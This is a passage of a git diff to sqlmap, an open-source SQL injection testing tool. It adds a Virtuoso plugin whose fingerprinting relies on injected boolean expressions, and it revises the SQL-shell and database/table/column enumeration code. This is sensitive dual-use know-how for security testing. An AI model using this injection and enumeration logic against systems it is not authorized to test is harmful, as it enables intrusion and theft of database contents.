getPrivileges(self, *args, **kwargs): + warnMsg = "on Virtuoso it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Virtuoso it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Virtuoso it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Virtuoso it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Virtuoso it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Virtuoso search option is not available" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Virtuoso it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py new file mode 100644 index 00000000000..ada2ec7d61c --- /dev/null +++ b/plugins/dbms/virtuoso/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Virtuoso it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Virtuoso it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py new file mode 100644 index 00000000000..b033511b8a6 --- /dev/null +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import VIRTUOSO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.VIRTUOSO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.VIRTUOSO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(VIRTUOSO_ALIASES): + setDbms(DBMS.VIRTUOSO) + return True + + infoMsg = "testing %s" % DBMS.VIRTUOSO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("GET_KEYWORD(NULL,NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.VIRTUOSO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("RDF_NOW_IMPL() IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO + logger.warning(warnMsg) + + return False + + setDbms(DBMS.VIRTUOSO) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.VIRTUOSO + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/virtuoso/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py new file mode 100644 index 00000000000..e91c8050796 --- /dev/null +++ b/plugins/dbms/virtuoso/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Virtuoso it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Virtuoso it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Virtuoso it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Virtuoso it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 55568dd6af9..ee235b13b63 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,7 +12,7 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod -class Connector: +class Connector(object): """ This class defines generic dbms protocol functionalities for plugins. """ @@ -30,14 +30,13 @@ def initConnection(self): self.db = conf.dbmsDb def printConnected(self): - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d established" % self.port - logger.info(infoMsg) + if self.hostname and self.port: + infoMsg = "connection to %s server '%s:%d' established" % (conf.dbms, self.hostname, self.port) + logger.info(infoMsg) def closed(self): - if self.hostname: - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d closed" % self.port + if self.hostname and self.port: + infoMsg = "connection to %s server '%s:%d' closed" % (conf.dbms, self.hostname, self.port) logger.info(infoMsg) self.connector = None @@ -64,20 +63,20 @@ def checkFileDb(self): def connect(self): errMsg = "'connect' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " - errMsg += "into the specific DBMS plugin" + errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index ebae7ab3e92..de4ef537523 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,19 +13,25 @@ from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet -from lib.core.common import getUnicode +from lib.core.common import isListLike from lib.core.common import isStackingAvailable +from lib.core.common import joinValue +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.enums import DBMS from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject +from thirdparty.six.moves import input as _input -class Custom: +class Custom(object): """ This class defines custom enumeration functionalities for plugins. """ @@ -38,6 +44,7 @@ def sqlQuery(self, query): sqlType = None query = query.rstrip(';') + try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: @@ -45,35 +52,44 @@ def sqlQuery(self, query): sqlType = sqlTitle break - if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): + if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) + if Backend.isDbms(DBMS.MSSQL): + match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I) + if match and match.group(2).count('.') == 1: + query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo."))) + + query = re.sub(r"(?i)\w+%s\.?" % METADB_SUFFIX, "", query) + output = inject.getValue(query, fromUser=True) + if sqlType and "SELECT" in sqlType and isListLike(output): + for i in xrange(len(output)): + if isListLike(output[i]): + output[i] = joinValue(output[i]) + return output elif not isStackingAvailable() and not conf.direct: - warnMsg = "execution of non-query SQL statements is only " - warnMsg += "available when stacked queries are supported" - logger.warn(warnMsg) + warnMsg = "execution of non-query SQL statements is only " + warnMsg += "available when stacked queries are supported" + logger.warning(warnMsg) - return None + return None else: if sqlType: - debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) + infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: - debugMsg = "executing unknown SQL type query: '%s'" % query - logger.debug(debugMsg) + infoMsg = "executing unknown SQL command: '%s'" % query + logger.info(infoMsg) inject.goStacked(query) - debugMsg = "done" - logger.debug(debugMsg) - output = NULL except SqlmapNoneDataException as ex: - logger.warn(ex) + logger.warning(ex) return output @@ -88,9 +104,13 @@ def sqlShell(self): query = None try: - query = raw_input("sql-shell> ") + query = _input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) query = query.strip("; ") + except UnicodeDecodeError: + print() + errMsg = "invalid user input" + logger.error(errMsg) except KeyboardInterrupt: print() errMsg = "user aborted" @@ -110,7 +130,7 @@ def sqlShell(self): output = self.sqlQuery(query) if output and output != "Quit": - conf.dumper.query(query, output) + conf.dumper.sqlQuery(query, output) elif not output: pass @@ -134,6 +154,6 @@ def sqlFile(self): for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _): query = query.strip() if query: - conf.dumper.query(query, self.sqlQuery(query)) + conf.dumper.sqlQuery(query, self.sqlQuery(query)) else: - conf.dumper.query(snippet, self.sqlQuery(snippet)) + conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index adbe1ea2c11..7f05d50ef38 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,14 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange @@ -20,9 +22,9 @@ from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue @@ -33,22 +35,29 @@ from lib.core.data import paths from lib.core.data import queries from lib.core.decorators import stackedmethod +from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import UPPER_CASE_DBMSES +from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject -from lib.techniques.union.use import unionUse from lib.utils.brute import columnExists from lib.utils.brute import tableExists +from thirdparty import six -class Databases: +class Databases(object): """ This class defines databases' enumeration functionalities for plugins. """ @@ -60,6 +69,7 @@ def __init__(self): kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} + kb.data.cachedStatements = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -70,11 +80,19 @@ def getCurrentDb(self): if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): + kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "user names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) return kb.data.currentDb @@ -88,16 +106,24 @@ def getDbs(self): warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" - logger.warn(warnMsg) + logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" - logger.warn(warnMsg) + logger.warning(warnMsg) infoMsg = "fetching database (schema) names" + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() + warnMsg += "for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + logger.warning(warnMsg) + + infoMsg = "fetching database (user) names" + else: infoMsg = "fetching database names" @@ -130,7 +156,7 @@ def getDbs(self): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -140,9 +166,10 @@ def getDbs(self): query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + db = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if db: + if not isNoneValue(db): kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): @@ -191,21 +218,24 @@ def getTables(self, bruteForce=None): if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: - errMsg = "information_schema not available, " - errMsg += "back-end DBMS is MySQL < 5.0" - logger.error(errMsg) + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: - errMsg = "cannot retrieve table names, " - errMsg += "back-end DBMS is Access" - logger.error(errMsg) + warnMsg = "cannot retrieve table names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) bruteForce = True else: return tables @@ -213,7 +243,7 @@ def getTables(self, bruteForce=None): if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if conf.db: @@ -244,7 +274,7 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -291,31 +321,35 @@ def getTables(self, bruteForce=None): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): - db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) - - if conf.getComments: - _ = queries[Backend.getIdentifiedDbms()].table_comment - if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + table = unArrayizeValue(table) + + if not isNoneValue(table): + db = safeSQLIdentificatorNaming(db) + table = safeSQLIdentificatorNaming(table, True).strip() + + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) + if METADB_SUFFIX not in db: + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) else: - query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get table comments" + singleTimeWarnMessage(warnMsg) - comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) - if not isNoneValue(comment): - infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table)) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) + if db not in kb.data.cachedTables: + kb.data.cachedTables[db] = [table] else: - warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() - warnMsg += "possible to get column comments" - singleTimeWarnMessage(warnMsg) - - if db not in kb.data.cachedTables: - kb.data.cachedTables[db] = [table] - else: - kb.data.cachedTables[db].append(table) + kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: @@ -324,81 +358,90 @@ def getTables(self, bruteForce=None): logger.info(infoMsg) continue - if conf.exclude and db in conf.exclude.split(','): + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) singleTimeLogMessage(infoMsg) continue - infoMsg = "fetching number of tables for " - infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) + for _query, _count in ((rootQuery.blind.query, rootQuery.blind.count), (getattr(rootQuery.blind, "query2", None), getattr(rootQuery.blind, "count2", None))): + if _query is None: + break - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): - query = rootQuery.blind.count - else: - query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) + infoMsg = "fetching number of tables for " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _count % unsafeSQLIdentificatorNaming(db) + else: + query = _count - if count == 0: - warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) - warnMsg += "appears to be empty" - logger.warn(warnMsg) - continue + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - elif not isNumPosStrValue(count): - warnMsg = "unable to retrieve the number of " - warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) - continue + if count == 0: + warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) + warnMsg += "appears to be empty" + logger.warning(warnMsg) + break - tables = [] + elif not isNumPosStrValue(count): + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) + singleTimeWarnMessage(warnMsg) + continue + + tables = [] + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) - indexRange = getLimitRange(count, plusOne=plusOne) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): - query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = rootQuery.blind.query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX): - query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) - else: - query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + if tables: + kb.data.cachedTables[db] = tables if conf.getComments: - _ = queries[Backend.getIdentifiedDbms()].table_comment - if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + for table in tables: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) + if METADB_SUFFIX not in db: + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) else: - query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get table comments" + singleTimeWarnMessage(warnMsg) - comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) - if not isNoneValue(comment): - infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table)) - infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.info(infoMsg) - else: - warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() - warnMsg += "possible to get column comments" - singleTimeWarnMessage(warnMsg) - - if tables: - kb.data.cachedTables[db] = tables - else: - warnMsg = "unable to retrieve the table names " - warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + break + else: + warnMsg = "unable to retrieve the table names " + warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.warning(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() @@ -428,7 +471,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() @@ -438,7 +481,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: @@ -449,7 +492,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.col = conf.col.upper() colList = conf.col.split(',') @@ -457,7 +500,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList = [] if conf.exclude: - colList = [_ for _ in colList if _ not in conf.exclude.split(',')] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -465,7 +508,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList = [_ for _ in colList if _] if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -476,32 +519,36 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] tblList = list(tblList) elif not conf.search: - errMsg = "unable to retrieve the tables " - errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + errMsg = "unable to retrieve the tables" + if METADB_SUFFIX not in conf.db: + errMsg += " in database '%s'" % 